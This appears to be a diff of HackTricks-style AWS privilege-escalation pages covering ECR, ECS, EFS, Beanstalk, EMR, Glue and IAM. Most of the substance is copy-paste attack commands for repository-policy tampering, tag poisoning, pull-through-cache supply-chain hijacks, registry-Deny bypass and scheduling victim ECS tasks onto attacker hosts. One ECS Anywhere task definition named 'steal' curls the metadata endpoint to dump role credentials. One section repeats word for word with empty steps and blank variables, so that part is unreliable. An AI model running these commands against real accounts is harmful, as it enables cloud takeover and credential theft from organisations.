An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
|
||||
For example, in this example read access is given to everyone.
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
Contents of `my-policy.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "allow public pull",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Like the previoous section, but for public repositories.\
|
||||
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
|
||||
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "MaliciousPublicRepoPolicy",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr-public:GetDownloadUrlForLayer",
|
||||
"ecr-public:BatchGetImage",
|
||||
"ecr-public:BatchCheckLayerAvailability",
|
||||
"ecr-public:PutImage",
|
||||
"ecr-public:InitiateLayerUpload",
|
||||
"ecr-public:UploadLayerPart",
|
||||
"ecr-public:CompleteLayerUpload",
|
||||
"ecr-public:DeleteRepositoryPolicy"
|
||||
]
|
||||
}
|
||||
]
|
||||
}' > malicious_public_repo_policy.json
|
||||
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.
|
||||
|
||||
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
|
||||
Steps (example):
|
||||
|
||||
1. Prepare attacker image in ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.
|
||||
|
||||
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
|
||||
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Poison an immutable tag by toggling mutability</summary>
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
# Build and push initial trusted tag
|
||||
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
# Attempt overwrite while IMMUTABLE (should fail)
|
||||
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
# Flip to MUTABLE and overwrite
|
||||
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
# Validate consumers pulling by tag now get the poisoned image (prints V2)
|
||||
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
|
||||
Create a Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR.
|
||||
|
||||
- Required perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Impact: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.
|
||||
|
||||
> Note: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.
|
||||
|
||||
<details>
|
||||
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
|
||||
# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
|
||||
aws ecr create-pull-through-cache-rule \
|
||||
--region "$REGION" \
|
||||
--ecr-repository-prefix ROOT \
|
||||
--upstream-registry-url public.ecr.aws
|
||||
|
||||
# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
# Example using an official mirror path hosted in ECR Public
|
||||
# (public.ecr.aws/docker/library/alpine:latest)
|
||||
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
|
||||
|
||||
# 3) Verify repo and image now exist without any push
|
||||
aws ecr describe-repositories --region "$REGION" \
|
||||
--query "repositories[?repositoryName==docker/library/alpine]"
|
||||
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
|
||||
|
||||
# 4) Cleanup
|
||||
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
|
||||
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
|
||||
|
||||
Abuse `ecr:PutAccountSetting` to switch the registry policy scope from `V2` (policy applied to all ECR actions) to `V1` (policy applied only to `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). If a restrictive registry policy Deny blocks actions like `CreatePullThroughCacheRule`, downgrading to `V1` removes that enforcement so identity‑policy Allows take effect.
|
||||
|
||||
- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to `V1`.
|
||||
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
|
||||
# 0) Snapshot current scope/policy (for restore)
|
||||
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
|
||||
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
|
||||
|
||||
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
cat > /tmp/deny-ptc.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "DenyPTCAll",
|
||||
"Effect": "Deny",
|
||||
"Principal": "*",
|
||||
"Action": ["ecr:CreatePullThroughCacheRule"],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
|
||||
|
||||
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
|
||||
set +e
|
||||
aws ecr create-pull-through-cache-rule \
|
||||
--region $REGION \
|
||||
--ecr-repository-prefix ptc-deny-test \
|
||||
--upstream-registry-url public.ecr.aws
|
||||
RC=$?
|
||||
set -e
|
||||
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
|
||||
|
||||
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
|
||||
aws ecr create-pull-through-cache-rule \
|
||||
--region $REGION \
|
||||
--ecr-repository-prefix ptc-deny-test \
|
||||
--upstream-registry-url public.ecr.aws
|
||||
|
||||
# 4) Verify rule exists
|
||||
aws ecr describe-pull-through-cache-rules --region $REGION \
|
||||
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
|
||||
|
||||
# 5) Cleanup and restore
|
||||
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
|
||||
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
|
||||
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
|
||||
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
|
||||
else
|
||||
aws ecr delete-registry-policy --region $REGION || true
|
||||
fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - ECS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
More **info about ECS** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
@@ -199,7 +199,7 @@ aws ecs run-task \
|
||||
|
||||
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
|
||||
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
|
||||
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.
|
||||
@@ -286,7 +286,7 @@ You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
../aws-ssm-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
@@ -294,7 +294,7 @@ aws-ssm-privesc.md
|
||||
Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
../aws-ec2-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
@@ -343,7 +343,239 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Prereqs
|
||||
|
||||
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
|
||||
|
||||
- Create Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
|
||||
|
||||
- Migrate a service to your provider
|
||||
|
||||
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- Cleanup
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
# Instance profile for ECS nodes
|
||||
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
|
||||
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
|
||||
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
|
||||
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
|
||||
|
||||
VPC=vpc-18e6ac62
|
||||
SUBNETS=
|
||||
|
||||
AMI=ami-0b570770164588ab4
|
||||
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
|
||||
LT_ID=
|
||||
|
||||
ASG_ARN=
|
||||
|
||||
CP_NAME=htcp-8797
|
||||
aws ecs create-capacity-provider --name --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
|
||||
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers --default-capacity-provider-strategy capacityProvider=,weight=1
|
||||
|
||||
SVC=
|
||||
# Task definition must be EC2-compatible (not Fargate-only)
|
||||
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
|
||||
|
||||
TASK=
|
||||
CI=
|
||||
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
|
||||
</pre>
|
||||
</details>
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Abuse ECS Anywhere to register an attacker-controlled host as an EXTERNAL container instance in a victim ECS cluster and run tasks on that host using privileged task and execution roles. This grants OS-level control over where tasks run (your own machine) and allows credential/data theft from tasks and attached volumes without touching capacity providers or ASGs.
|
||||
|
||||
- Required perms (example minimal):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
|
||||
- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.
|
||||
|
||||
Steps
|
||||
|
||||
1) Create/identify cluster (us-east-1)
|
||||
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
|
||||
2) Create ECS Anywhere role and SSM activation (for on-prem/EXTERNAL instance)
|
||||
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
|
||||
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
|
||||
3) Provision attacker host and auto-register it as EXTERNAL (example: small AL2 EC2 as “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euxo pipefail
|
||||
amazon-linux-extras enable docker || true
|
||||
yum install -y docker curl jq
|
||||
systemctl enable --now docker
|
||||
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
|
||||
chmod +x /root/ecs-anywhere-install.sh
|
||||
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```bash
|
||||
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
|
||||
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
|
||||
4) Verify EXTERNAL container instance joined
|
||||
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
|
||||
5) Create task/execution roles, register EXTERNAL task definition, and run it on the attacker host
|
||||
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
|
||||
aws iam create-role --role-name ht-ecs-task-role \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
# attach any privileges you want to abuse to this task role
|
||||
|
||||
# task def (EXTERNAL launch)
|
||||
cat > td-external.json << 'JSON'
|
||||
{
|
||||
"family": "ht-external",
|
||||
"requiresCompatibilities": [ "EXTERNAL" ],
|
||||
"networkMode": "bridge",
|
||||
"memory": "256",
|
||||
"cpu": "128",
|
||||
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
|
||||
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
|
||||
"containerDefinitions": [
|
||||
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
|
||||
"memory": 128,
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
|
||||
aws ecs register-task-definition --cli-input-json file://td-external.json
|
||||
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
|
||||
6) From here you control the host that runs the tasks. You can read task logs (if awslogs) or directly exec on the host to exfiltrate credentials/data from your tasks.
|
||||
|
||||
|
||||
|
||||
#### Command example (placeholders)
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Prereqs
|
||||
|
||||
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
|
||||
|
||||
- Create Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
|
||||
|
||||
- Migrate a service to your provider
|
||||
|
||||
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- Cleanup
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EFS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
More **info about EFS** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it.
|
||||
@@ -93,7 +93,7 @@ aws efs modify-mount-target-security-groups \
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Elastic Beanstalk Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
More **info about Elastic Beanstalk** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
@@ -182,7 +182,7 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
|
||||
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EMR Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EMR
|
||||
|
||||
More **info about EMR** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-emr-enum.md
|
||||
../../aws-services/aws-emr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
|
||||
@@ -61,7 +61,7 @@ The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.am
|
||||
|
||||
**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - Gamelift
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### `gamelift:RequestUploadCredentials`
|
||||
|
||||
@@ -15,7 +15,7 @@ aws gamelift request-upload-credentials \
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - Glue Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## glue
|
||||
|
||||
@@ -89,7 +89,7 @@ Just with the update permission an attacked could steal the IAM Credentials of t
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - IAM Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more info about IAM check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
@@ -274,7 +274,7 @@ This permissions allows an attacker to update the permissions boundary of a user
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
